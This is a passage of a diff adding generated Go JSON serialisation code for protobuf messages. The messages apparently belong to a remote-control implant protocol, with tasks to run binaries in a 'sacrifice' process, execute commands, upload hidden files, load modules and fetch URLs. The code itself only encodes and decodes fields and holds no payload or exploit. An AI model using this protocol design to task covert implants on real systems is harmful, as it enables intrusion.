s.HasField("stdout") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("stdout") + s.WriteBytes(x.Stdout) + } + if len(x.Stderr) > 0 || s.HasField("stderr") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("stderr") + s.WriteBytes(x.Stderr) + } + if x.Pid != 0 || s.HasField("pid") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("pid") + s.WriteUint32(x.Pid) + } + if x.End || s.HasField("end") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("end") + s.WriteBool(x.End) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the ExecResponse to JSON. +func (x *ExecResponse) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the ExecResponse message from JSON. +func (x *ExecResponse) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "status_code", "statusCode": + s.AddField("status_code") + x.StatusCode = s.ReadInt32() + case "stdout": + s.AddField("stdout") + x.Stdout = s.ReadBytes() + case "stderr": + s.AddField("stderr") + x.Stderr = s.ReadBytes() + case "pid": + s.AddField("pid") + x.Pid = s.ReadUint32() + case "end": + s.AddField("end") + x.End = s.ReadBool() + } + }) +} + +// UnmarshalJSON unmarshals the ExecResponse from JSON. +func (x *ExecResponse) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the BinaryResponse message to JSON. +func (x *BinaryResponse) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if len(x.Data) > 0 || s.HasField("data") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("data") + s.WriteBytes(x.Data) + } + if len(x.Message) > 0 || s.HasField("message") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("message") + s.WriteBytes(x.Message) + } + if x.Status != 0 || s.HasField("status") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("status") + s.WriteInt32(x.Status) + } + if x.Err != "" || s.HasField("err") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("err") + s.WriteString(x.Err) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the BinaryResponse to JSON. +func (x *BinaryResponse) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the BinaryResponse message from JSON. +func (x *BinaryResponse) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "data": + s.AddField("data") + x.Data = s.ReadBytes() + case "message": + s.AddField("message") + x.Message = s.ReadBytes() + case "status": + s.AddField("status") + x.Status = s.ReadInt32() + case "err": + s.AddField("err") + x.Err = s.ReadString() + } + }) +} + +// UnmarshalJSON unmarshals the BinaryResponse from JSON. +func (x *BinaryResponse) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the Modules message to JSON. +func (x *Modules) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if len(x.Modules) > 0 || s.HasField("modules") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("modules") + s.WriteStringArray(x.Modules) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the Modules to JSON. +func (x *Modules) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the Modules message from JSON. +func (x *Modules) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "modules": + s.AddField("modules") + if s.ReadNil() { + x.Modules = nil + return + } + x.Modules = s.ReadStringArray() + } + }) +} + +// UnmarshalJSON unmarshals the Modules from JSON. +func (x *Modules) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the Addons message to JSON. +func (x *Addons) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if len(x.Addons) > 0 || s.HasField("addons") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("addons") + s.WriteArrayStart() + var wroteElement bool + for _, element := range x.Addons { + s.WriteMoreIf(&wroteElement) + element.MarshalProtoJSON(s.WithField("addons")) + } + s.WriteArrayEnd() + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the Addons to JSON. +func (x *Addons) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the Addons message from JSON. +func (x *Addons) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "addons": + s.AddField("addons") + if s.ReadNil() { + x.Addons = nil + return + } + s.ReadArray(func() { + if s.ReadNil() { + x.Addons = append(x.Addons, nil) + return + } + v := &Addon{} + v.UnmarshalProtoJSON(s.WithField("addons", false)) + if s.Err() != nil { + return + } + x.Addons = append(x.Addons, v) + }) + } + }) +} + +// UnmarshalJSON unmarshals the Addons from JSON. +func (x *Addons) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the Addon message to JSON. +func (x *Addon) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Name != "" || s.HasField("name") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("name") + s.WriteString(x.Name) + } + if x.Type != "" || s.HasField("type") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("type") + s.WriteString(x.Type) + } + if x.Depend != "" || s.HasField("depend") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("depend") + s.WriteString(x.Depend) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the Addon to JSON. +func (x *Addon) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the Addon message from JSON. +func (x *Addon) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "name": + s.AddField("name") + x.Name = s.ReadString() + case "type": + s.AddField("type") + x.Type = s.ReadString() + case "depend": + s.AddField("depend") + x.Depend = s.ReadString() + } + }) +} + +// UnmarshalJSON unmarshals the Addon from JSON. +func (x *Addon) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the LoadModule message to JSON. +func (x *LoadModule) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Bundle != "" || s.HasField("bundle") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("bundle") + s.WriteString(x.Bundle) + } + if len(x.Bin) > 0 || s.HasField("bin") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("bin") + s.WriteBytes(x.Bin) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the LoadModule to JSON. +func (x *LoadModule) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the LoadModule message from JSON. +func (x *LoadModule) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "bundle": + s.AddField("bundle") + x.Bundle = s.ReadString() + case "bin": + s.AddField("bin") + x.Bin = s.ReadBytes() + } + }) +} + +// UnmarshalJSON unmarshals the LoadModule from JSON. +func (x *LoadModule) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the LoadAddon message to JSON. +func (x *LoadAddon) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Name != "" || s.HasField("name") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("name") + s.WriteString(x.Name) + } + if x.Type != "" || s.HasField("type") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("type") + s.WriteString(x.Type) + } + if x.Depend != "" || s.HasField("depend") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("depend") + s.WriteString(x.Depend) + } + if len(x.Bin) > 0 || s.HasField("bin") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("bin") + s.WriteBytes(x.Bin) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the LoadAddon to JSON. +func (x *LoadAddon) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the LoadAddon message from JSON. +func (x *LoadAddon) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "name": + s.AddField("name") + x.Name = s.ReadString() + case "type": + s.AddField("type") + x.Type = s.ReadString() + case "depend": + s.AddField("depend") + x.Depend = s.ReadString() + case "bin": + s.AddField("bin") + x.Bin = s.ReadBytes() + } + }) +} + +// UnmarshalJSON unmarshals the LoadAddon from JSON. +func (x *LoadAddon) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the ExecuteAddon message to JSON. +func (x *ExecuteAddon) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Addon != "" || s.HasField("addon") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("addon") + s.WriteString(x.Addon) + } + if x.ExecuteBinary != nil || s.HasField("executeBinary") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("executeBinary") + x.ExecuteBinary.MarshalProtoJSON(s.WithField("executeBinary")) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the ExecuteAddon to JSON. +func (x *ExecuteAddon) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the ExecuteAddon message from JSON. +func (x *ExecuteAddon) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "addon": + s.AddField("addon") + x.Addon = s.ReadString() + case "execute_binary", "executeBinary": + if s.ReadNil() { + x.ExecuteBinary = nil + return + } + x.ExecuteBinary = &ExecuteBinary{} + x.ExecuteBinary.UnmarshalProtoJSON(s.WithField("execute_binary", true)) + } + }) +} + +// UnmarshalJSON unmarshals the ExecuteAddon from JSON. +func (x *ExecuteAddon) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the ExecuteBinary_ParamEntry message to JSON. +func (x *ExecuteBinary_ParamEntry) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Key != "" || s.HasField("key") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("key") + s.WriteString(x.Key) + } + if x.Value != "" || s.HasField("value") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("value") + s.WriteString(x.Value) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the ExecuteBinary_ParamEntry to JSON. +func (x *ExecuteBinary_ParamEntry) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the ExecuteBinary_ParamEntry message from JSON. +func (x *ExecuteBinary_ParamEntry) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "key": + s.AddField("key") + x.Key = s.ReadString() + case "value": + s.AddField("value") + x.Value = s.ReadString() + } + }) +} + +// UnmarshalJSON unmarshals the ExecuteBinary_ParamEntry from JSON. +func (x *ExecuteBinary_ParamEntry) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the ExecuteBinary message to JSON. +func (x *ExecuteBinary) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Name != "" || s.HasField("name") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("name") + s.WriteString(x.Name) + } + if len(x.Bin) > 0 || s.HasField("bin") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("bin") + s.WriteBytes(x.Bin) + } + if x.Param != nil || s.HasField("param") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("param") + s.WriteObjectStart() + var wroteElement bool + for k, v := range x.Param { + s.WriteMoreIf(&wroteElement) + s.WriteObjectStringField(k) + s.WriteString(v) + } + s.WriteObjectEnd() + } + if x.Type != "" || s.HasField("type") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("type") + s.WriteString(x.Type) + } + if x.ProcessName != "" || s.HasField("processName") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("processName") + s.WriteString(x.ProcessName) + } + if len(x.Args) > 0 || s.HasField("args") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("args") + s.WriteStringArray(x.Args) + } + if x.EntryPoint != "" || s.HasField("entryPoint") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("entryPoint") + s.WriteString(x.EntryPoint) + } + if len(x.Data) > 0 || s.HasField("data") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("data") + s.WriteBytes(x.Data) + } + if x.Output || s.HasField("output") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("output") + s.WriteBool(x.Output) + } + if x.Arch != 0 || s.HasField("arch") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("arch") + s.WriteUint32(x.Arch) + } + if x.Timeout != 0 || s.HasField("timeout") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("timeout") + s.WriteUint32(x.Timeout) + } + if x.Sacrifice != nil || s.HasField("sacrifice") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("sacrifice") + x.Sacrifice.MarshalProtoJSON(s.WithField("sacrifice")) + } + if x.Path != "" || s.HasField("path") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("path") + s.WriteString(x.Path) + } + if x.Context != "" || s.HasField("context") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("context") + s.WriteString(x.Context) + } + if x.Delay != 0 || s.HasField("delay") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("delay") + s.WriteUint32(x.Delay) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the ExecuteBinary to JSON. +func (x *ExecuteBinary) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the ExecuteBinary message from JSON. +func (x *ExecuteBinary) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "name": + s.AddField("name") + x.Name = s.ReadString() + case "bin": + s.AddField("bin") + x.Bin = s.ReadBytes() + case "param": + s.AddField("param") + if s.ReadNil() { + x.Param = nil + return + } + x.Param = make(map[string]string) + s.ReadStringMap(func(key string) { + x.Param[key] = s.ReadString() + }) + case "type": + s.AddField("type") + x.Type = s.ReadString() + case "process_name", "processName": + s.AddField("process_name") + x.ProcessName = s.ReadString() + case "args": + s.AddField("args") + if s.ReadNil() { + x.Args = nil + return + } + x.Args = s.ReadStringArray() + case "entry_point", "entryPoint": + s.AddField("entry_point") + x.EntryPoint = s.ReadString() + case "data": + s.AddField("data") + x.Data = s.ReadBytes() + case "output": + s.AddField("output") + x.Output = s.ReadBool() + case "arch": + s.AddField("arch") + x.Arch = s.ReadUint32() + case "timeout": + s.AddField("timeout") + x.Timeout = s.ReadUint32() + case "sacrifice": + if s.ReadNil() { + x.Sacrifice = nil + return + } + x.Sacrifice = &SacrificeProcess{} + x.Sacrifice.UnmarshalProtoJSON(s.WithField("sacrifice", true)) + case "path": + s.AddField("path") + x.Path = s.ReadString() + case "context": + s.AddField("context") + x.Context = s.ReadString() + case "delay": + s.AddField("delay") + x.Delay = s.ReadUint32() + } + }) +} + +// UnmarshalJSON unmarshals the ExecuteBinary from JSON. +func (x *ExecuteBinary) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the ExecuteCommand message to JSON. +func (x *ExecuteCommand) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Command != "" || s.HasField("command") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("command") + s.WriteString(x.Command) + } + if x.Sacrifice != nil || s.HasField("sacrifice") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("sacrifice") + x.Sacrifice.MarshalProtoJSON(s.WithField("sacrifice")) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the ExecuteCommand to JSON. +func (x *ExecuteCommand) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the ExecuteCommand message from JSON. +func (x *ExecuteCommand) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "command": + s.AddField("command") + x.Command = s.ReadString() + case "sacrifice": + if s.ReadNil() { + x.Sacrifice = nil + return + } + x.Sacrifice = &SacrificeProcess{} + x.Sacrifice.UnmarshalProtoJSON(s.WithField("sacrifice", true)) + } + }) +} + +// UnmarshalJSON unmarshals the ExecuteCommand from JSON. +func (x *ExecuteCommand) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the UploadRequest message to JSON. +func (x *UploadRequest) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Name != "" || s.HasField("name") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("name") + s.WriteString(x.Name) + } + if x.Target != "" || s.HasField("target") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("target") + s.WriteString(x.Target) + } + if x.Priv != 0 || s.HasField("priv") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("priv") + s.WriteUint32(x.Priv) + } + if len(x.Data) > 0 || s.HasField("data") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("data") + s.WriteBytes(x.Data) + } + if x.Hidden || s.HasField("hidden") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("hidden") + s.WriteBool(x.Hidden) + } + if x.Override || s.HasField("override") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("override") + s.WriteBool(x.Override) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the UploadRequest to JSON. +func (x *UploadRequest) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the UploadRequest message from JSON. +func (x *UploadRequest) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "name": + s.AddField("name") + x.Name = s.ReadString() + case "target": + s.AddField("target") + x.Target = s.ReadString() + case "priv": + s.AddField("priv") + x.Priv = s.ReadUint32() + case "data": + s.AddField("data") + x.Data = s.ReadBytes() + case "hidden": + s.AddField("hidden") + x.Hidden = s.ReadBool() + case "override": + s.AddField("override") + x.Override = s.ReadBool() + } + }) +} + +// UnmarshalJSON unmarshals the UploadRequest from JSON. +func (x *UploadRequest) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the DownloadRequest message to JSON. +func (x *DownloadRequest) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Path != "" || s.HasField("path") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("path") + s.WriteString(x.Path) + } + if x.Name != "" || s.HasField("name") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("name") + s.WriteString(x.Name) + } + if x.BufferSize != 0 || s.HasField("bufferSize") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("bufferSize") + s.WriteUint32(x.BufferSize) + } + if x.Dir || s.HasField("dir") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("dir") + s.WriteBool(x.Dir) + } + if x.Cur != 0 || s.HasField("cur") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("cur") + s.WriteInt32(x.Cur) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the DownloadRequest to JSON. +func (x *DownloadRequest) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the DownloadRequest message from JSON. +func (x *DownloadRequest) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "path": + s.AddField("path") + x.Path = s.ReadString() + case "name": + s.AddField("name") + x.Name = s.ReadString() + case "buffer_size", "bufferSize": + s.AddField("buffer_size") + x.BufferSize = s.ReadUint32() + case "dir": + s.AddField("dir") + x.Dir = s.ReadBool() + case "cur": + s.AddField("cur") + x.Cur = s.ReadInt32() + } + }) +} + +// UnmarshalJSON unmarshals the DownloadRequest from JSON. +func (x *DownloadRequest) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the DownloadResponse message to JSON. +func (x *DownloadResponse) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Checksum != "" || s.HasField("checksum") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("checksum") + s.WriteString(x.Checksum) + } + if x.Size != 0 || s.HasField("size") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("size") + s.WriteUint64(x.Size) + } + if x.Cur != 0 || s.HasField("cur") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("cur") + s.WriteInt32(x.Cur) + } + if len(x.Content) > 0 || s.HasField("content") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("content") + s.WriteBytes(x.Content) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the DownloadResponse to JSON. +func (x *DownloadResponse) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the DownloadResponse message from JSON. +func (x *DownloadResponse) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "checksum": + s.AddField("checksum") + x.Checksum = s.ReadString() + case "size": + s.AddField("size") + x.Size = s.ReadUint64() + case "cur": + s.AddField("cur") + x.Cur = s.ReadInt32() + case "content": + s.AddField("content") + x.Content = s.ReadBytes() + } + }) +} + +// UnmarshalJSON unmarshals the DownloadResponse from JSON. +func (x *DownloadResponse) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the CurlRequest_HeaderEntry message to JSON. +func (x *CurlRequest_HeaderEntry) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Key != "" || s.HasField("key") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("key") + s.WriteString(x.Key) + } + if x.Value != "" || s.HasField("value") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("value") + s.WriteString(x.Value) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the CurlRequest_HeaderEntry to JSON. +func (x *CurlRequest_HeaderEntry) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the CurlRequest_HeaderEntry message from JSON. +func (x *CurlRequest_HeaderEntry) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "key": + s.AddField("key") + x.Key = s.ReadString() + case "value": + s.AddField("value") + x.Value = s.ReadString() + } + }) +} + +// UnmarshalJSON unmarshals the CurlRequest_HeaderEntry from JSON. +func (x *CurlRequest_HeaderEntry) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the CurlRequest message to JSON. +func (x *CurlRequest) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Url != "" || s.HasField("url") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("url") + s.WriteString(x.Url) + } + if x.Timeout != 0 || s.HasField("timeout") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("timeout") + s.WriteInt32(x.Timeout) + } + if x.Method != "" || s.HasField("method") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("method") + s.WriteString(x.Method) + } + if len(x.Body) > 0 || s.HasField("body") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("body") + s.WriteBytes(x.Body) + } + if x.Header != nil || s.HasField("header") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("header") + s.WriteObjectStart() + var wroteElement bool + for k, v := range x.Header { + s.WriteMoreIf(&wroteElement) + s.WriteObjectStringField(k) + s.WriteString(v) + } + s.WriteObjectEnd() + } + if x.Hostname != "" || s.HasField("hostname") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("hostname") + s.WriteString(x.Hostname) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the CurlRequest to JSON. +func (x *CurlRequest) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the CurlRequest message from JSON. +func (x *CurlRequest) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "url": + s.AddField("url") + x.Url = s.ReadString() + case "timeout": + s.AddField("timeout") + x.Timeout = s.ReadInt32() + case "method": + s.AddField("method") + x.Method = s.ReadString() + case "body": + s.AddField("body") + x.Body = s.ReadBytes() + case "header": + s.AddField("header") + if s.ReadNil() { + x.Header = nil + return + } + x.Header = make(map[string]string) + s.ReadStringMap(func(key string) { + x.Header[key] = s.ReadString() + }) + case "hostname": + s.AddField("hostname") + x.Hostname = s.ReadString() + } + }) +} + +// UnmarshalJSON unmarshals the CurlRequest from JSON. +func (x *CurlRequest) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the ChownRequest message to JSON. +func (x *ChownRequest) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Path != "" || s.HasField("path") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("path") + s.WriteString(x.Path) + } + if x.Uid != "" || s.HasField("uid") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("uid") + s.WriteString(x.Uid) + } + if x.Gid != "" || s.HasField("gid") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("gid") + s.WriteString(x.Gid) + } + if x.Recursive || s.HasField("recursive") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("recursive") + s.WriteBool(x.Recursive) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the ChownRequest to JSON. +func (x *ChownRequest) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the ChownRequest message from JSON. +func (x *ChownRequest) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "path": + s.AddField("path") + x.Path = s.ReadString() + case "uid": + s.AddField("uid") + x.Uid = s.ReadString() + case "gid": + s.AddField("gid") + x.Gid = s.ReadString() + case "recursive": + s.AddField("recursive") + x.Recursive = s.ReadBool() + } + }) +} + +// UnmarshalJSON unmarshals the ChownRequest from JSON. +func (x *ChownRequest) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the IfconfigResponse message to JSON. +func (x *IfconfigResponse) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if len(x.NetInterfaces) > 0 || s.HasField("netInterfaces") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("netInterfaces") + s.WriteArrayStart() + var wroteElement bool + for _, element := range x.NetInterfaces { + s.WriteMoreIf(&wroteElement) + element.MarshalProtoJSON(s.WithField("netInterfaces")) + } + s.WriteArrayEnd() + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the IfconfigResponse to JSON. +func (x 